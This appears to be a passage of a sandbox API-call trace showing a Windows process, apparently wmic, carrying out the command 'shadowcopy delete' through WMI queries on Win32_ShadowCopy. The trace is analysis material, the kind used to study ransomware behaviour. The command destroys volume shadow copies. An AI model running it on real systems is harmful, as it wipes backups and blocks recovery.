	[0225.921] memcpy_s (in: _Destination=0x3e6d50, _DestinationSize=0x3e, _Source=0x6259e, _SourceSize=0x36 | out: _Destination=0x3e6d50) returned 0x0
	[0225.922] malloc (_Size=0x18) returned 0x3ec770
	[0225.922] malloc (_Size=0x18) returned 0x3ec790
	[0225.922] malloc (_Size=0x18) returned 0x3ec7b0
	[0225.922] malloc (_Size=0x18) returned 0x3ec7d0
	[0225.922] malloc (_Size=0x80) returned 0x3e6da0
	[0225.922] GetLocalTime (in: lpSystemTime=0x28fc30 | out: lpSystemTime=0x28fc30*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x6, wDay=0x12, wHour=0x16, wMinute=0x7, wSecond=0x2, wMilliseconds=0x93)) 
	[0225.922] _vsnwprintf (in: _Buffer=0x3e6da0, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x28fb88 | out: _Buffer="01-18-2020T22:07:02") returned 19
	[0225.923] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0225.923] malloc (_Size=0x28) returned 0x3eca40
	[0225.923] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0225.923] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0225.923] malloc (_Size=0x28) returned 0x3eca70
	[0225.923] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0225.923] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0225.923] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0225.923] malloc (_Size=0x16) returned 0x3ec7f0
	[0225.923] lstrlenW (lpString="shadowcopy") returned 10
	[0225.923] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81
	[0225.924] malloc (_Size=0x16) returned 0x3ec810
	[0225.924] malloc (_Size=0x8) returned 0x3ecaa0
	[0225.924] free (_Block=0x0) 
	[0225.924] free (_Block=0x3ec7f0) 
	[0225.924] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0225.924] malloc (_Size=0xe) returned 0x3ec7f0
	[0225.924] lstrlenW (lpString="delete") returned 6
	[0225.924] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66
	[0225.924] malloc (_Size=0xe) returned 0x3ec830
	[0225.924] malloc (_Size=0x10) returned 0x3ec850
	[0225.924] memmove_s (in: _Destination=0x3ec850, _DestinationSize=0x8, _Source=0x3ecaa0, _SourceSize=0x8 | out: _Destination=0x3ec850) returned 0x0
	[0225.924] free (_Block=0x3ecaa0) 
	[0225.924] free (_Block=0x0) 
	[0225.924] free (_Block=0x3ec7f0) 
	[0225.925] malloc (_Size=0x10) returned 0x3ec7f0
	[0225.925] lstrlenW (lpString="QUIT") returned 4
	[0225.925] lstrlenW (lpString="shadowcopy") returned 10
	[0225.925] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3
	[0225.925] lstrlenW (lpString="EXIT") returned 4
	[0225.925] lstrlenW (lpString="shadowcopy") returned 10
	[0225.925] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3
	[0225.925] free (_Block=0x3ec7f0) 
	[0225.925] WbemLocator:IUnknown:AddRef (This=0x1da1390) returned 0x2
	[0225.926] malloc (_Size=0x10) returned 0x3ec7f0
	[0225.926] lstrlenW (lpString="/") returned 1
	[0225.926] lstrlenW (lpString="shadowcopy") returned 10
	[0225.926] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3
	[0225.926] lstrlenW (lpString="-") returned 1
	[0225.926] lstrlenW (lpString="shadowcopy") returned 10
	[0225.926] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3
	[0225.926] lstrlenW (lpString="CLASS") returned 5
	[0225.926] lstrlenW (lpString="shadowcopy") returned 10
	[0225.926] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3
	[0225.927] lstrlenW (lpString="PATH") returned 4
	[0225.927] lstrlenW (lpString="shadowcopy") returned 10
	[0225.927] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3
	[0225.927] lstrlenW (lpString="CONTEXT") returned 7
	[0225.927] lstrlenW (lpString="shadowcopy") returned 10
	[0225.927] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3
	[0225.927] lstrlenW (lpString="shadowcopy") returned 10
	[0225.927] malloc (_Size=0x16) returned 0x3ec870
	[0225.927] lstrlenW (lpString="shadowcopy") returned 10
	[0226.508] GetCurrentThreadId () returned 0x60c
	[0226.508] ??0CHString@@QEAA@XZ () returned 0x28fa40
	[0226.508] malloc (_Size=0x18) returned 0x3ec890
	[0226.508] malloc (_Size=0x18) returned 0x3ec8b0
	[0226.508] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1da1390, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff6f2998 | out: ppNamespace=0xff6f2998*=0x1db3a98) returned 0x0
	[0236.097] free (_Block=0x3ec8b0) 
	[0236.097] free (_Block=0x3ec890) 
	[0236.097] CoSetProxyBlanket (pProxy=0x1db3a98, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0
	[0236.098] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0236.098] GetCurrentThreadId () returned 0x60c
	[0236.098] ??0CHString@@QEAA@XZ () returned 0x28f8d8
	[0236.098] malloc (_Size=0x18) returned 0x3ec890
	[0236.098] malloc (_Size=0x18) returned 0x3ec8b0
	[0236.099] malloc (_Size=0x18) returned 0x3ec8d0
	[0236.099] malloc (_Size=0x18) returned 0x3ec8f0
	[0236.099] SysStringLen (param_1="root\\cli") returned 0x8
	[0236.099] SysStringLen (param_1="\\") returned 0x1
	[0236.099] malloc (_Size=0x18) returned 0x3ec910
	[0236.099] SysStringLen (param_1="root\\cli\\") returned 0x9
	[0236.099] SysStringLen (param_1="ms_409") returned 0x6
	[0236.099] free (_Block=0x3ec8f0) 
	[0236.100] free (_Block=0x3ec8d0) 
	[0236.100] free (_Block=0x3ec8b0) 
	[0236.100] free (_Block=0x3ec890) 
	[0236.100] malloc (_Size=0x18) returned 0x3ec890
	[0236.100] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1da1390, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff6f29a0 | out: ppNamespace=0xff6f29a0*=0x1db3b28) returned 0x0
	[0236.423] free (_Block=0x3ec890) 
	[0236.423] free (_Block=0x3ec910) 
	[0236.423] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0236.423] GetCurrentThreadId () returned 0x60c
	[0236.423] ??0CHString@@QEAA@XZ () returned 0x28fa50
	[0236.423] malloc (_Size=0x18) returned 0x3ec910
	[0236.423] malloc (_Size=0x18) returned 0x3ec890
	[0236.423] malloc (_Size=0x18) returned 0x3ec8b0
	[0236.423] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28
	[0236.423] malloc (_Size=0x3a) returned 0x3ecaa0
	[0236.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff681980, cbMultiByte=-1, lpWideCharStr=0x3ecaa0, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29
	[0236.424] free (_Block=0x3ecaa0) 
	[0236.424] malloc (_Size=0x18) returned 0x3ec8d0
	[0236.424] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c
	[0236.424] SysStringLen (param_1="shadowcopy") returned 0xa
	[0236.424] malloc (_Size=0x18) returned 0x3ec8f0
	[0236.424] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26
	[0236.424] SysStringLen (param_1="'") returned 0x1
	[0236.424] free (_Block=0x3ec8d0) 
	[0236.424] free (_Block=0x3ec8b0) 
	[0236.425] free (_Block=0x3ec890) 
	[0236.425] free (_Block=0x3ec910) 
	[0236.425] IWbemServices:GetObject (in: This=0x1db3a98, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x28fa58*=0x0, ppCallResult=0x0 | out: ppObject=0x28fa58*=0x1dc04e0, ppCallResult=0x0) returned 0x0
	[0236.457] malloc (_Size=0x18) returned 0x3ec910
	[0236.457] IWbemClassObject:Get (in: This=0x1dc04e0, wszName="Target", lFlags=0, pVal=0x28f980*(varType=0x0, wReserved1=0xff6f, wReserved2=0x0, wReserved3=0x0, varVal1=0xff6f2998, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x28f980*(varType=0x8, wReserved1=0xff6f, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0236.457] free (_Block=0x3ec910) 
	[0236.457] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0236.457] malloc (_Size=0x3e) returned 0x3ecaa0
	[0236.457] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0236.457] malloc (_Size=0x18) returned 0x3ec910
	[0236.457] IWbemClassObject:Get (in: This=0x1dc04e0, wszName="PWhere", lFlags=0, pVal=0x28f980*(varType=0x0, wReserved1=0xff6f, wReserved2=0x0, wReserved3=0x0, varVal1=0x8e048, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x28f980*(varType=0x8, wReserved1=0xff6f, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0236.458] free (_Block=0x3ec910) 
	[0236.458] lstrlenW (lpString=" Where ID = '#'") returned 15
	[0236.458] malloc (_Size=0x20) returned 0x3ecaf0
	[0236.458] lstrlenW (lpString=" Where ID = '#'") returned 15
	[0236.458] malloc (_Size=0x18) returned 0x3ec910
	[0236.458] IWbemClassObject:Get (in: This=0x1dc04e0, wszName="Connection", lFlags=0, pVal=0x28f980*(varType=0x0, wReserved1=0xff6f, wReserved2=0x0, wReserved3=0x0, varVal1=0xdd7d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x28f980*(varType=0xd, wReserved1=0xff6f, wReserved2=0x0, wReserved3=0x0, varVal1=0x1dc09c0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0236.458] free (_Block=0x3ec910) 
	[0236.458] IUnknown:QueryInterface (in: This=0x1dc09c0, riid=0xff687360*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x28f970 | out: ppvObject=0x28f970*=0x1dc09c0) returned 0x0
	[0236.459] GetCurrentThreadId () returned 0x60c
	[0236.459] ??0CHString@@QEAA@XZ () returned 0x28f898
	[0236.459] malloc (_Size=0x18) returned 0x3ec910
	[0236.459] IWbemClassObject:Get (in: This=0x1dc09c0, wszName="Namespace", lFlags=0, pVal=0x28f8c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff69738f, varVal2=0x3ec910), pType=0x0, plFlavor=0x0 | out: pVal=0x28f8c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x3ec910), pType=0x0, plFlavor=0x0) returned 0x0
	[0236.459] free (_Block=0x3ec910) 
	[0236.459] lstrlenW (lpString="ROOT\\CIMV2") returned 10
	[0236.459] malloc (_Size=0x16) returned 0x3ec910
	[0236.459] lstrlenW (lpString="ROOT\\CIMV2") returned 10
	[0236.459] malloc (_Size=0x18) returned 0x3ec890
	[0236.459] IWbemClassObject:Get (in: This=0x1dc09c0, wszName="Locale", lFlags=0, pVal=0x28f8c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10bed8, varVal2=0x3ec910), pType=0x0, plFlavor=0x0 | out: pVal=0x28f8c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x3ec910), pType=0x0, plFlavor=0x0) returned 0x0
	[0236.459] free (_Block=0x3ec890) 
	[0236.460] lstrlenW (lpString="ms_409") returned 6
	[0236.460] malloc (_Size=0xe) returned 0x3ec890
	[0236.460] lstrlenW (lpString="ms_409") returned 6
	[0236.460] malloc (_Size=0x18) returned 0x3ec8b0
	[0236.460] IWbemClassObject:Get (in: This=0x1dc09c0, wszName="User", lFlags=0, pVal=0x28f8c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10bed8, varVal2=0x3ec910), pType=0x0, plFlavor=0x0 | out: pVal=0x28f8c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10bed8, varVal2=0x3ec910), pType=0x0, plFlavor=0x0) returned 0x0
	[0236.460] free (_Block=0x3ec8b0) 
	[0236.460] malloc (_Size=0x18) returned 0x3ec8b0
	[0236.460] IWbemClassObject:Get (in: This=0x1dc09c0, wszName="Password", lFlags=0, pVal=0x28f8c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10bed8, varVal2=0x3ec910), pType=0x0, plFlavor=0x0 | out: pVal=0x28f8c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10bed8, varVal2=0x3ec910), pType=0x0, plFlavor=0x0) returned 0x0
	[0236.462] free (_Block=0x3ec8b0) 
	[0236.462] malloc (_Size=0x18) returned 0x3ec8b0
	[0236.462] IWbemClassObject:Get (in: This=0x1dc09c0, wszName="Server", lFlags=0, pVal=0x28f8c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10bed8, varVal2=0x3ec910), pType=0x0, plFlavor=0x0 | out: pVal=0x28f8c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x3ec910), pType=0x0, plFlavor=0x0) returned 0x0
	[0236.462] free (_Block=0x3ec8b0) 
	[0236.462] lstrlenW (lpString=".") returned 1
	[0236.462] malloc (_Size=0x4) returned 0x3ecb20
	[0236.462] lstrlenW (lpString=".") returned 1
	[0236.462] malloc (_Size=0x18) returned 0x3ec8b0
	[0236.463] IWbemClassObject:Get (in: This=0x1dc09c0, wszName="Authority", lFlags=0, pVal=0x28f8c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10bed8, varVal2=0x3ec910), pType=0x0, plFlavor=0x0 | out: pVal=0x28f8c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10bed8, varVal2=0x3ec910), pType=0x0, plFlavor=0x0) returned 0x0
	[0236.463] free (_Block=0x3ec8b0) 
	[0236.463] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0236.463] IUnknown:Release (This=0x1dc09c0) returned 0x1
	[0236.463] GetCurrentThreadId () returned 0x60c
	[0236.463] ??0CHString@@QEAA@XZ () returned 0x28f898
	[0236.463] malloc (_Size=0x18) returned 0x3ec8b0
	[0236.463] IWbemClassObject:Get (in: This=0x1dc04e0, wszName="__RELPATH", lFlags=0, pVal=0x28f8c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10bed8, varVal2=0xd), pType=0x0, plFlavor=0x0 | out: pVal=0x28f8c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0xd), pType=0x0, plFlavor=0x0) returned 0x0
	[0236.464] free (_Block=0x3ec8b0) 
	[0236.464] malloc (_Size=0x18) returned 0x3ec8b0
	[0236.464] GetCurrentThreadId () returned 0x60c
	[0236.464] ??0CHString@@QEAA@XZ () returned 0x28f718
	[0236.464] ??0CHString@@QEAA@PEBG@Z () returned 0x28f730
	[0236.465] ??0CHString@@QEAA@AEBV0@@Z () returned 0x28f6c0
	[0236.465] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0236.465] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x3ecb40
	[0236.465] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b
	[0236.465] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x28f680
	[0236.466] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x28f6c8
	[0236.466] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x28f730
	[0236.466] ??1CHString@@QEAA@XZ () returned 0x76f601
	[0236.466] ??1CHString@@QEAA@XZ () returned 0x76f601
	[0236.467] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x28f688
	[0236.467] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x28f6c0
	[0236.467] ??1CHString@@QEAA@XZ () returned 0x1
	[0236.467] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x3ecbb0
	[0236.467] ?Find@CHString@@QEBAHPEBG@Z () returned 0xa
	[0236.467] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x28f680
	[0236.467] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x28f6c8
	[0236.467] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x28f730
	[0236.467] ??1CHString@@QEAA@XZ () returned 0x76f601
	[0236.467] ??1CHString@@QEAA@XZ () returned 0x76f601
	[0236.467] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x28f688
	[0236.467] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x28f6c0
	[0236.467] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0236.467] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7fef3374820
	[0236.467] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0236.467] malloc (_Size=0x18) returned 0x3ec8d0
	[0236.468] malloc (_Size=0x18) returned 0x3ec930
	[0236.468] malloc (_Size=0x18) returned 0x3ec950
	[0236.468] malloc (_Size=0x18) returned 0x3ec970
	[0236.468] malloc (_Size=0x18) returned 0x3ec990
	[0236.468] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c
	[0236.468] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17
	[0236.468] malloc (_Size=0x18) returned 0x3ec9b0
	[0236.468] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53
	[0236.468] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29
	[0236.469] malloc (_Size=0x18) returned 0x3ec9d0
	[0236.469] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c
	[0236.469] SysStringLen (param_1="\"") returned 0x1
	[0236.469] free (_Block=0x3ec9b0) 
	[0236.469] free (_Block=0x3ec990) 
	[0236.469] free (_Block=0x3ec970) 
	[0236.469] free (_Block=0x3ec950) 
	[0236.469] free (_Block=0x3ec930) 
	[0236.469] free (_Block=0x3ec8d0) 
	[0236.469] IWbemServices:GetObject (in: This=0x1db3b28, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x28f708*=0x0, ppCallResult=0x0 | out: ppObject=0x28f708*=0x1dc0a50, ppCallResult=0x0) returned 0x0
	[0236.645] malloc (_Size=0x18) returned 0x3ec8d0
	[0236.645] IWbemClassObject:Get (in: This=0x1dc0a50, wszName="Text", lFlags=0, pVal=0x28f740*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff6f2ac0, varVal2=0x18), pType=0x0, plFlavor=0x0 | out: pVal=0x28f740*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x106300*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x8dde0, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x18), pType=0x0, plFlavor=0x0) returned 0x0
	[0236.645] free (_Block=0x3ec8d0) 
	[0236.645] SafeArrayGetLBound (in: psa=0x106300, nDim=0x1, plLbound=0x28f720 | out: plLbound=0x28f720) returned 0x0
	[0236.645] SafeArrayGetUBound (in: psa=0x106300, nDim=0x1, plUbound=0x28f710 | out: plUbound=0x28f710) returned 0x0
	[0236.645] SafeArrayGetElement (in: psa=0x106300, rgIndices=0x28f704, pv=0x28f758 | out: pv=0x28f758) returned 0x0
	[0236.645] malloc (_Size=0x18) returned 0x3ec8d0
	[0236.646] malloc (_Size=0x18) returned 0x3ec930
	[0236.646] SysStringLen (param_1="Shadow copy management.") returned 0x17
	[0236.646] free (_Block=0x3ec8d0) 
	[0236.646] IUnknown:Release (This=0x1dc0a50) returned 0x0
	[0236.646] free (_Block=0x3ec9d0) 
	[0236.647] ??1CHString@@QEAA@XZ () returned 0x76f601
	[0236.647] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0236.647] free (_Block=0x3ec8b0) 
	[0236.647] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0236.647] lstrlenW (lpString="Shadow copy management.") returned 23
	[0236.647] malloc (_Size=0x30) returned 0x3e85c0
	[0236.647] lstrlenW (lpString="Shadow copy management.") returned 23
	[0236.647] free (_Block=0x3ec930) 
	[0236.647] IUnknown:Release (This=0x1dc04e0) returned 0x0
	[0236.647] free (_Block=0x3ec8f0) 
	[0236.647] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0236.647] lstrlenW (lpString="PATH") returned 4
	[0236.648] lstrlenW (lpString="delete") returned 6
	[0236.648] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1
	[0236.648] lstrlenW (lpString="WHERE") returned 5
	[0236.648] lstrlenW (lpString="delete") returned 6
	[0236.648] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1
	[0236.648] lstrlenW (lpString="(") returned 1
	[0236.648] lstrlenW (lpString="delete") returned 6
	[0236.648] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3
	[0236.648] lstrlenW (lpString="/") returned 1
	[0236.648] lstrlenW (lpString="delete") returned 6
	[0236.648] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3
	[0236.648] lstrlenW (lpString="-") returned 1
	[0236.648] lstrlenW (lpString="delete") returned 6
	[0236.648] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3
	[0236.649] malloc (_Size=0x18) returned 0x3ec8f0
	[0236.649] lstrlenW (lpString="GET") returned 3
	[0236.649] lstrlenW (lpString="delete") returned 6
	[0236.649] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0236.649] lstrlenW (lpString="LIST") returned 4
	[0236.649] lstrlenW (lpString="delete") returned 6
	[0236.649] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0236.649] lstrlenW (lpString="SET") returned 3
	[0236.649] lstrlenW (lpString="delete") returned 6
	[0236.649] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0236.649] lstrlenW (lpString="CREATE") returned 6
	[0236.649] lstrlenW (lpString="delete") returned 6
	[0236.649] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0236.650] lstrlenW (lpString="CALL") returned 4
	[0236.650] lstrlenW (lpString="delete") returned 6
	[0236.650] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3
	[0236.650] lstrlenW (lpString="ASSOC") returned 5
	[0236.650] lstrlenW (lpString="delete") returned 6
	[0236.650] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0236.650] lstrlenW (lpString="DELETE") returned 6
	[0236.650] lstrlenW (lpString="delete") returned 6
	[0236.650] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2
	[0236.650] free (_Block=0x3ec8f0) 
	[0236.650] lstrlenW (lpString="/") returned 1
	[0236.650] lstrlenW (lpString="delete") returned 6
	[0236.650] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3
	[0236.650] lstrlenW (lpString="-") returned 1
	[0236.651] lstrlenW (lpString="delete") returned 6
	[0236.651] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3
	[0236.651] lstrlenW (lpString="delete") returned 6
	[0236.651] malloc (_Size=0xe) returned 0x3ec8f0
	[0236.651] lstrlenW (lpString="delete") returned 6
	[0236.651] lstrlenW (lpString="GET") returned 3
	[0236.651] lstrlenW (lpString="delete") returned 6
	[0236.651] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0236.651] lstrlenW (lpString="LIST") returned 4
	[0236.651] lstrlenW (lpString="delete") returned 6
	[0236.651] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0236.651] lstrlenW (lpString="SET") returned 3
	[0236.651] lstrlenW (lpString="delete") returned 6
	[0236.651] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0236.651] lstrlenW (lpString="CREATE") returned 6
	[0236.651] lstrlenW (lpString="delete") returned 6
	[0236.651] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0236.651] lstrlenW (lpString="CALL") returned 4
	[0236.651] lstrlenW (lpString="delete") returned 6
	[0236.652] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3
	[0236.652] lstrlenW (lpString="ASSOC") returned 5
	[0236.652] lstrlenW (lpString="delete") returned 6
	[0236.652] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0236.652] lstrlenW (lpString="DELETE") returned 6
	[0236.652] lstrlenW (lpString="delete") returned 6
	[0236.652] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2
	[0236.652] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0236.652] malloc (_Size=0x3e) returned 0x3ecb40
	[0236.652] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0236.652] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff60 | out: _String="Select", _Context=0xffffffffffffff60) returned="Select"
	[0236.652] malloc (_Size=0x18) returned 0x3ec930
	[0236.652] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="*"
	[0236.653] lstrlenW (lpString="FROM") returned 4
	[0236.653] lstrlenW (lpString="*") returned 1
	[0236.653] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1
	[0236.653] malloc (_Size=0x18) returned 0x3ec8b0
	[0236.653] free (_Block=0x3ec930) 
	[0236.653] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x54007d00780008 | out: _String=0x0, _Context=0x54007d00780008) returned="from"
	[0236.653] lstrlenW (lpString="FROM") returned 4
	[0236.653] lstrlenW (lpString="from") returned 4
	[0236.653] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2
	[0236.653] malloc (_Size=0x18) returned 0x3ec930
	[0236.653] free (_Block=0x3ec8b0) 
	[0236.653] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x54007e00780008 | out: _String=0x0, _Context=0x54007e00780008) returned="Win32_ShadowCopy"
	[0236.653] malloc (_Size=0x18) returned 0x3ec8b0
